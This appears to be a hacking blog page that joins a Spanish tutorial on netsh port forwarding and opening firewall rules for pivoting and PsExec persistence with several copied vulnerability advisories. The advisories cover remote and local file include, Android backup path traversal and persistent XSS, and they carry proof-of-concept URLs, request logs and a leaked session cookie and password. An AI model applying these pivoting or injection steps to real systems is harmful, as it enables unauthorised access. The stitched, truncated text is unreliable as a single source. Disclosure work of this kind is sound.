Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863536828

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Netsh es una utilidad de Windows que nos permite hacer Port Forwarding de una forma muy sencilla. Además, la ventaja es que viene por defecto instalado en Windows, aunque la desventaja es que son necesarios privilegios de administrador para poder usarla (al menos de cara al Port Forwarding y el control del firewall).

Índice:

  • Introducción
  • Port Forwarding con netsh
  • Control del Firewall con netsh

Introducción

Los 3 comandos que vamos a usar son los siguientes:

  1. netsh interface portproxy add v4tov4 listenport=<puerto a escuchar> listenaddress=<direccion a escuchar> connectport=<puerto a conectar> connectaddress=<direccion a conectar>
  2. netsh interface portproxy show all
  3. netsh interface portproxy reset

El laboratorio de este post es el siguiente:

  • 3 Equipos
    • Kali
      • IP: 192.168.10.10
    • Windows 7
      • IP: 192.168.10.40 y 192.168.20.40 –> 2 Interfaces de Red
    • Debian –> Servidor Web y SSH – Puerto 22 y 80 activados
      • IP: 192.168.20.20
pivoting con netsh laboratorio 2

Port Forwarding con netsh

Estando en la máquina Windows y teniendo privilegios de administrador, podemos comprobar la tabla de Port Forwarding de netsh con el siguiente comando:

netsh interface portproxy show all

image 8

No nos muestra nada, por lo que está vacía. Así que con el siguiente comando, vamos a hacer el Port Forwarding de los puertos que queramos:

netsh interface portproxy add v4tov4 listenport=<puerto a escuchar> listenaddress=<direccion a escuchar> connectport=<puerto a conectar> connectaddress=<direccion a conectar>

image 9

En el comando se configuran 4 parámetros, cada uno de ellos, sirve para lo siguiente:

  • listenport –> Especificamos el puerto en el que Windows escuchará y que servirá como tunneling para la dirección y puerto que conectemos.
  • listenaddress –> Especificamos la dirección de red en la que escuchará el puerto especificado en listenport. Esto indicará la interfaz en la que se escuchará.
  • connectport –> Especificamos el puerto de la dirección a la que queremos llegar
  • connectaddress –> Especificamos la dirección a la que queremos llegar

Como vemos en la imagen, en principio no aparece nada, ni error ni nada que diga que «ha ocurrido algo». Sin embargo, si ahora ejecutamos el comando anterior para ver la tabla de netsh:

image 10

Podemos ver como se ha establecido lo que le hemos dicho en los comandos de arriba. Nota: como se explica en el parámetro listenaddress, es importante indicar bien la dirección en la que escuchamos, si indicásemos por ejemplo 127.0.0.1 solo se podrá acceder desde el propio Windows. Sin embargo, indicándole 192.168.10.40 (que también es la IP del Windows), el puerto funcionará en la interfaz 192.168.10.0/24, y, por lo tanto, será accesible para los que tengan acceso a esta red. Aunque también podemos ahorrárnoslo, si no le especificamos el parámetro listenaddress, escuchará en todas las interfaces:

image 14

Con esto, Windows ya estaría realizando el Port Forwarding, por lo que vamos a comprobarlo desde nuestro kali:

image 11

Vemos que nos tuneliza perfectamente ambos puertos. Y realmente es tan sencillo como esto. Además, netsh guarda la configuración de los Port Forwarding en el siguiente registro:

HKLM:\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp

image 15
image 16

Si quisiéramos eliminar/resetear la tabla de netsh (también se eliminan los registros), podríamos hacerlo con el siguiente comando:

netsh interface portproxy reset

image 12
image 13

Y de esta forma eliminaríamos cualquier tunelización que estemos haciendo, además de sus respectivos registros.

Control del Firewall con netsh

Otro aspecto muy útil que tiene netsh, es que nos permite controlar el firewall de Windows, añadiendo reglas que por ejemplo un puerto que solo esté accesible de forma interna, se muestre de hacia fuera. Es decir, si por ejemplo una máquina tuviese el SMB solo accesible de forma interna (esto significa que se esté ejecutando, pero solo de forma interna, si no estuviese ejecutándose no serviría de nada), y nosotros tuviésemos credenciales de administrador para usar con PsExec. Podríamos usar netsh para que el puerto SMB se muestre hacia fuera y así conseguir persistencia con PsExec.

En este aspecto, los comandos para arreglar reglas son los siguientes:

  • Tráfico entrante:

netsh advfirewall firewall add rule name=<nombre de la regla> protocol=TCP dir=in localport=<puerto> action=allow

image 17
  • Tráfico saliente:

netsh advfirewall firewall add rule name=<nombre de la regla> protocol=TCP dir=out localport=<puerto> action=allow

image 18

De esta forma el puerto ya estaría expuesto de forma externa. Hay muchas otras opciones en cuanto a firewall, pero a nivel práctico, si necesitásemos una para pivoting, sería esta, la capacidad de mostrar puertos internos de forma externa.

Netsh como se ha visto, es una herramienta muy cómoda para pivoting gracias a que viene por defecto en Windows. El único requerimiento como ya se ha dicho, es tener privilegios de Administrador.

source: https://www.securityfocus.com/bid/51979/info
         
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
         
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
         
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/base_payload.php?BASE_path=[EV!L]
            
source: https://www.securityfocus.com/bid/51979/info
        
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
        
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
        
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/base_maintenance.php?BASE_path=[EV!L]
            
ADB backup archive path traversal file overwrite   
------------------------------------------------

Using adb one can create a backup of his/her Android device and store it
on the PC. The backup archive is based on the tar file format.

By modifying tar headers to contain ../../ like patterns it is possible
to overwrite files owned by the system user on writeable partitions.


An example pathname in the tar header:
apps/com.android.settings/sp/../../../../data/system/evil.txt
Tar header checksum must be corrected of course.

When restoring the modified archive the BackupManagerService overwrites
the resolved file name, since file name is not sanitized.

Bugfix in the version control:
https://android.googlesource.com/platform/frameworks/base/+/7bc601d%5E!/#F0


Android 5 (Lollipop) and newer versions are not affected (due to the
official bugfix linked above).


Additional conditions for exploiting on pre-Lollipop systems:

- Partition of the desination file must be mounted as writeable (eg.
/system won't work, but /data does)

- It is not possible to overwrite files owned by root, since the process
doing the restore is running as the same user as the package itself and
Android packages cannot run.

- It is not possible to overwrite files owned by system user since AOSP
4.3 due to Id6a0cb4c113c2e4a8c4605252cffa41bea22d8a3, a new hardening
was introduced "... ignoring non-agent system package ".
(If the operating system is custom and there is a system package
available with a full backup agent specified explicitly, then that
custom Android 4.3 and 4.4 might be affected too.)

Pre 4.3 AOSP systems are affected without further conditions: it is
possible to overwrite files owned by the system user or any other
packages installed on the system.



Tested on:      Android 4.0.4:
Reported on:    2014-07-14
Assigned CVE:   CVE-2014-7951
Android bug id: 16298491
Discovered by:  Imre Rad / Search-Lab Ltd.
                http://www.search-lab.hu
                http://www.securecodingacademy.com/
            
Document Title:
===============
Mobile Drive HD v1.8 - File Include Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1446


Release Date:
=============
2015-03-11


Vulnerability Laboratory ID (VL-ID):
====================================
1446


Common Vulnerability Scoring System:
====================================
6.4


Product & Service Introduction:
===============================
Mobile Drive is the ideal app for anyone who transfer documents between PC, iPad and Cloud. Mobile Drive allows you to manage 
documents and organize them. You can quickly upload and download documents via email and the popular cloud storage services.

(Copy of the Vendor Homepage: https://itunes.apple.com/en/app/mobile-drive-hd-document-cloud/id626102554 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered file include web vulnerability in the Mobile Drive HD v1.8 iOS mobile application.


Vulnerability Disclosure Timeline:
==================================
2015-03-11: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Keke Cai
Product: Mobile Drive HD- iOS Mobile Web Application 1.8


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A local file include web vulnerability has been discovered in the official USB Disk Free - File Manager & Transfer v1.0 iOS mobile application.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands 
to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `upload` module. Remote attackers are able to inject own files with malicious 
`filename` values in the `upload` POST method request to compromise the mobile web-application. The local file/path include execution occcurs in 
the index file dir listing of the wifi interface. The attacker is able to inject the local file include request by usage of the `wifi interface` 
in connection with the vulnerable upload POST method request. 

Remote attackers are also able to exploit the filename issue in combination with persistent injected script codes to execute different malicious 
attack requests. The attack vector is located on the application-side of the wifi service and the request method to inject is POST. 

The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. 
Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account. Successful exploitation 
of the local file include web vulnerability results in mobile application compromise or connected device component compromise.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] Upload

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:8080/)


Proof of Concept (PoC):
=======================
The local file include web vulnerability can be exploited by local attackers without privileged application user accounts or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: 
http://localhost:8080/files/%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E/2.png


PoC: Vulnerable Source
<tr class="shadow"><td><a href="/files/%3Ciframe%3E2.png" class="file">[LOCAL FILE INCLUDE VULNERABILITY!]%3E/2.png</a></td><td class='del'>
<form action='/files/%3C[LOCAL FILE INCLUDE VULNERABILITY!]%3E/2.png' method='post'><input name='_method' value='delete' type='hidden'/>
<input name="commit" type="submit" value="Delete" class='button' /></td></tr></tbody></table></iframe></a></td></tr></tbody>
</table>


--- PoC Session Logs [POST] ---
Status: 302[Found]
POST http://localhost:8080/files Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[67] Mime Type[text/html]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------21144193462
Content-Disposition: form-data; name="newfile"; filename="[LOCAL FILE INCLUDE VULNERABILITY!]%3E/2.png"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI  LOAD_REPLACE  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[2739] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[2739]
      Date[Mo., 09 März 2015 14:24:12 GMT]
-
Status: 200[OK]
GET http://localhost:8080/jquery.js Load Flags[LOAD_NORMAL] Größe des Inhalts[55774] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[55774]
      Date[Mo., 09 März 2015 14:24:12 GMT]
-
Status: 200[OK]
GET http://localhost:8080/files?Mon%20Mar%2009%202015%2015:26:02%20GMT+0100 Load Flags[LOAD_BACKGROUND  ] Größe des Inhalts[62] Mime Type[text/plain]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[application/json, text/javascript, */*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[62]
      Cache-Control[private, max-age=0, must-revalidate]
      Content-Type[text/plain; charset=utf-8]
      Date[Mo., 09 März 2015 14:24:13 GMT]


Reference(s):
http://localhost:8080/files/
http://localhost:8080/jquery.js


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure validation of the filename value in the upload POST method request. Restrict the filename input and 
disallow special chars. Ensure that not multiple file extensions are loaded in the filename value to prevent arbitrary file upload attacks.
Encode the output in the file dir index list with the vulnerable name value to prevent an application-side injection attacks.


Security Risk:
==============
The security risk of the local file include web vulnerability in the upload POST method request is estimated as high. (CVSS 6.4)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       		- admin@evolution-sec.com
Section:    magazine.vulnerability-db.com	- vulnerability-lab.com/contact.php		       	- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

				Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt
            
Document Title:
===============
Photo Manager Pro v4.4.0 iOS - File Include Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1445


Release Date:
=============
2015-03-12


Vulnerability Laboratory ID (VL-ID):
====================================
1445


Common Vulnerability Scoring System:
====================================
6.9


Product & Service Introduction:
===============================
Do you have troubles for managing thousands of photos and videos? Do you have any private photos or videos? Are you looking for a photo portfolio app? 
Photo Manager Pro is exactly you are looking for. Photo Manager Pro is extremely easy to use. TP Transfer: Transfer folders and files between computer 
and device over wifi network. HTTP Transfer: Transfer files between computer and device over wifi network. View photos in the browser. Peer to Peer 
Transfer: Directly transfer files between iPad, iPhone and iPod Touch over wifi network. USB Transfer: Import/Export photos from/to iTunes file sharing.
Basic Transfer: Import/Export photos from/to the Photos app.

(Copy of the Vendor Homepage: https://itunes.apple.com/de/app/photo-manager-pro/id393858562 & http://www.linkusnow.com/photomanager/help/ipad/help_main.php )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a locla file include vulnerability in the official Linkus Photo Manager Pro v4.4.0 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2015-03-12:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Linkus
Product: Photo Manager Pro - iOS Mobile Web Application (Wifi) 4.4.0


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A local file include web vulnerability has been discovered in the official Linkus Photo Manager Pro v4.4.0 iOS mobile web-application.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path 
commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `upload.action` module. Remote attackers are able to inject own files with 
malicious `filename` values in the `upload.action` POST method request to compromise the mobile web-application. The local file/path include 
execution occcurs in the index dir listing of the wifi interface. The attacker is able to inject the local file include request by usage of 
the `wifi interface` in connection with the vulnerable upload service module.

Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute unique
local malicious attack requests. The attack vector is located on the application-side of the wifi service and the request method to inject is POST.
To exploit the bug it is required to use the local device > wifi sync or (remote) the wifi gui.

The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.9. 
Exploitation of the local file include vulnerability requires no user interaction or privileged web-application user account. Successful exploitation 
of the local file include web vulnerability results in mobile application or device compromise.

Request Method(s):
					[+] POST

Vulnerable Module(s):
					[+] upload.action

Vulnerable Parameter(s):
					[+] filename

Affected Module(s):
					[+] disp_photo.action


Proof of Concept (PoC):
=======================
The local file include web vulnerability can be exploited by remote attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: 
http://localhost:8080/disp_photo.action?filename=./[LOCAL FILE INCLUDE VULNERABILITY!]2.png


PoC: Vulnerable Source
<div id="photo_content">
<img id="photo" src="disp_photo.action?filename=./[LOCAL FILE INCLUDE VULNERABILITY!]2.png" height="606"></div>


--- Poc Session Logs [POST] (Inject) ---
Status: 200[OK] 
POST http://localhost:8080/upload.action?folderID=5 Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[31] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/upload.html?folderID=5]
      Cookie[isenabledpasscode=false]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------15932100885119
Content-Disposition: form-data; name="is_submitted"
false
-----------------------------15932100885119
Content-Disposition: form-data; name="upload_file"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!]2.png"
Content-Type: image/png
-

Status: 200[OK]
GET http://localhost:8080/upload.html?folderID=5 Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[8085] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Cookie[isenabledpasscode=false]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[8085]
      Date[Do., 05 März 2015 20:52:18 GMT]



Reference(s):
http://localhost:8080/upload.action?folderID=
http://localhost:8080/upload.html?folderID=
http://localhost:8080/disp_photo.action?filename=


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure validation of the filename value in the upload POST method request. Restrict the filename input and 
disallow special chars. Ensure that not multiple file extensions are loaded in the filename value to prevent arbitrary file upload attacks.


Security Risk:
==============
The security risk of thelocal file inelcude web vulnerability in the photo manager wifi service is estimated as high. (CVSS 6.9)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       		- admin@evolution-sec.com
Section:    magazine.vulnerability-db.com	- vulnerability-lab.com/contact.php		       	- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

				Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt
            
Document Title:
===============
SevenIT SevDesk 3.10 - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1314


Release Date:
=============
2015-03-23


Vulnerability Laboratory ID (VL-ID):
====================================
1314


Common Vulnerability Scoring System:
====================================
5.9


Product & Service Introduction:
===============================
The integrated customer management, digital customer file is the central record for a single customer. invoices, facilities and operations 
to a customer are stored centrally automated in one place. So the customer file is always up to date. For faster retrieval or reporting 
contacts can be tagged. In addition, with powerful. Search options you have as the entire customer base better than ever in view.

Daily backup
256bit SSL encryption
TÜV certified datacenter

Free version
No hidden costs
No minimum contract term

iPhone App
Runs in any browser
No installation required on the PC

Easy to use
Reduced to the essentials
Automated, where it is only Possible

(Copy of the Vendor Homepage: https://sevdesk.de/)


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official SEVENIT GmbH SevDesk v3.10 web-application & cloud online-service.


Vulnerability Disclosure Timeline:
==================================
2014-09-01:	Researcher Notification & Coordination (Benjamin Kunz Mejri)
2014-09-02:	Vendor Notification (SevDesk Developer Team)
2014-09-07:	Vendor Response/Feedback (SevDesk Developer Team)
2015-02-01:	Vendor Fix/Patch Notification (SevDesk Developer Team)
2015-03-23:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
SevenIT
Product: SevDesk - Web Application 3.1.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
Multiple persistent input validation web vulnerabilities are detected in the official SEVENIT Software GmbH - sevDesk v3.10 web-application.
The vulnerability allows remote attackers or low privileged user account to inject own malicious script codes to the application-side of the 
vulnerable web-application module or service.

The security vulnerability is located in the `firstname`, `surname` & `family` name values of the main sevDesk `Dasboard` application module.
Remote attackers are able to inject own codes to the main dashboard service by manipulation of the registration username. The execution of 
the injected script code occurs on the application-side in the main dasboard module through the rightHead and feedcontent class. The attack 
vector is persistent and the request method to inject the code is POST. The victim user can also change the name by usage of the application 
which does not require an admins interaction on successful exploitation.

The security risk of the persistent script code inject web vulnerabilities is estimated as medium with a cvss (common vulnerability scoring system) 
count of 5.9. Exploitation of the persistent vulnerability requires a low privileged sevdesk user account with restricted access and no direct 
user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects 
to malicious source and persistent manipulation of affected or connected application modules.


Request Method(s):
				[+] POST

Vulnerable Module(s):
				[+] Registration to SevDesk


Vulnerable Parameter(s):
				[+] surname
				[+] firstname
				[+] family name

Affected Module(s):
				[+] Dasboard Index - rightHead & feedcontent


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by low privileged application user accounts with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability

1. Register an account by usage of the following webpage https://my.sevdesk.de/register/
2. Include to the surname, family name and firstname your own script code as payload
3. Save the registration form and go to the website https://my.sevdesk.de/
4. Login with the user account data
5. The execution of the injected script code occurs after the registration POST method request and next to the redirect in the main dasboard index (rightHead < name > feedcontent)
6. Successful reproduce of the application-side security vulnerability!


PoC: rightHead > Displayname (First- & Lastname)

<div id="middleHead">
<input id="suche" type="text" onfocus="this.value = ''" value="Gehe zu Kontakt, Projekt, Dokument..." />                  
</div>
<div id="rightHead">
<div style="float:right;margin-top:5px;text-align: right;padding-right:5px;">
<div style="color:#fff;padding:3px;margin-bottom:2px;">
<span style="color:#f5d385;font-weight:bold;">a>"<[PERSISTENT INJECTED SCRIPT CODE VIA NAME VALUE!]> b>"</span></div>                        
<a href="/admin/company">Einstellungen</a> |                     
<a href="http://portal.sevdesk.de/" target="_blank">Hilfe</a> | <a href="./auth/logout/">Logout</a>
                    </div>
                </div>
            </div> 
        </div>
        <div id="headNav" style="top:80px;">
            <div class="headwrapper">
                <ul id="mainNavigation">


PoC: Verlauf > feedcontent

<div>
<div class="feed" id_feed="393424"><div class="imgpos"><img src="/img/icons/24x24/offer.png"></div><div class="feedbody">
<div class="headline">Samstag, 30. August 2014 - 02:14</div><div class="feedcontent">
a>"<[PERSISTENT INJECTED SCRIPT CODE VIA NAME VALUE!]> b>"<[PERSISTENT INJECTED SCRIPT CODE VIA NAME VALUE!]> hat den Status des 
<img src="/img/icons/16x16/offer.png"> <a href="/om/detail/index/id/60547">Angebots - 1007</a> auf
"archiviert" geändert
</div></div><div class="clearfix"></div></div>
<div class="feed" id_feed="393423"><div class="imgpos"><img src="/img/icons/24x24/offer.png"/></div><div class="feedbody">  
<div class="headline">Samstag, 30. August 2014 - 02:14



--- PoC Session Logs [POST] (Registration sevDesk) ---
Status: 200[OK]
 POST https://my.sevdesk.de/register/save Load Flags[LOAD_BYPASS_CACHE  LOAD_BACKGROUND  ] Größe des Inhalts[94] Mime Type[text/html]
   Request Header:
      Host[my.sevdesk.de]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0]
      Accept[application/json, text/javascript, */*; q=0.01]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
      X-Requested-With[XMLHttpRequest]
      Referer[https://my.sevdesk.de/register]
      Content-Length[119]
      Cookie[PHPSESSID=63m788aic41f173a01akttgp24; optimizelySegments=%7B%7D; optimizelyEndUserId=oeu1409658038644r0.9444753343384411; 
optimizelyBuckets=%7B%7D; __utma=47898149.1078820709.1409658041.1409658041.1409658041.1; __utmb=47898149.3.10.1409658041; __utmc=47898149; 
__utmz=47898149.1409658041.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); kvcd=1409658049586; 
km_ai=5La%2FUBeVvA7zRXwSTd4gSRBJccE%3D; km_uq=; km_vs=1; km_lv=1409658050; _ga=GA1.2.1078820709.1409658041]
      Connection[keep-alive]
      Pragma[no-cache]
      Cache-Control[no-cache]
   POST-Daten:
      name[[PERSISTENT INJECTED SCRIPT CODE VIA NAME VALUE!]]
      surename[[PERSISTENT INJECTED SCRIPT CODE VIA SURNAME VALUE!]]
      familyname[[PERSISTENT INJECTED SCRIPT CODE VIA FAMILY NAME VALUE!]]
      username[support%40vulnerability-lab.com]
      password[chaos666]
   Response Header:
      Date[Tue, 02 Sep 2014 11:44:30 GMT]
      Server[Apache/2.2.22 (Debian)]
      X-Powered-By[PHP/5.4.4-14+deb7u7]
      Expires[Thu, 19 Nov 1981 08:52:00 GMT]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
      Pragma[no-cache]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      Content-Length[94]
      Keep-Alive[timeout=5, max=99]
      Connection[Keep-Alive]
      Content-Type[text/html; charset=utf-8]


Reference(s):
https://my.sevdesk.de/register/save


Solution - Fix & Patch:
=======================
The vulnerbility can be patched by a secure parse and encode of the affected rightHead & feedcontent values in the dashboard application index.
Filter and restrict the user registration input form with a secure mask or exception-handling to prevent persistent code injections in the important name values.

Note: The issue has been patched by the manufacturer since 2015-02-01


Security Risk:
==============
The security risk of the persistent input validation web vulnerabilities in the main dasboard application is estimated as medium. (CVSS 5.9)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
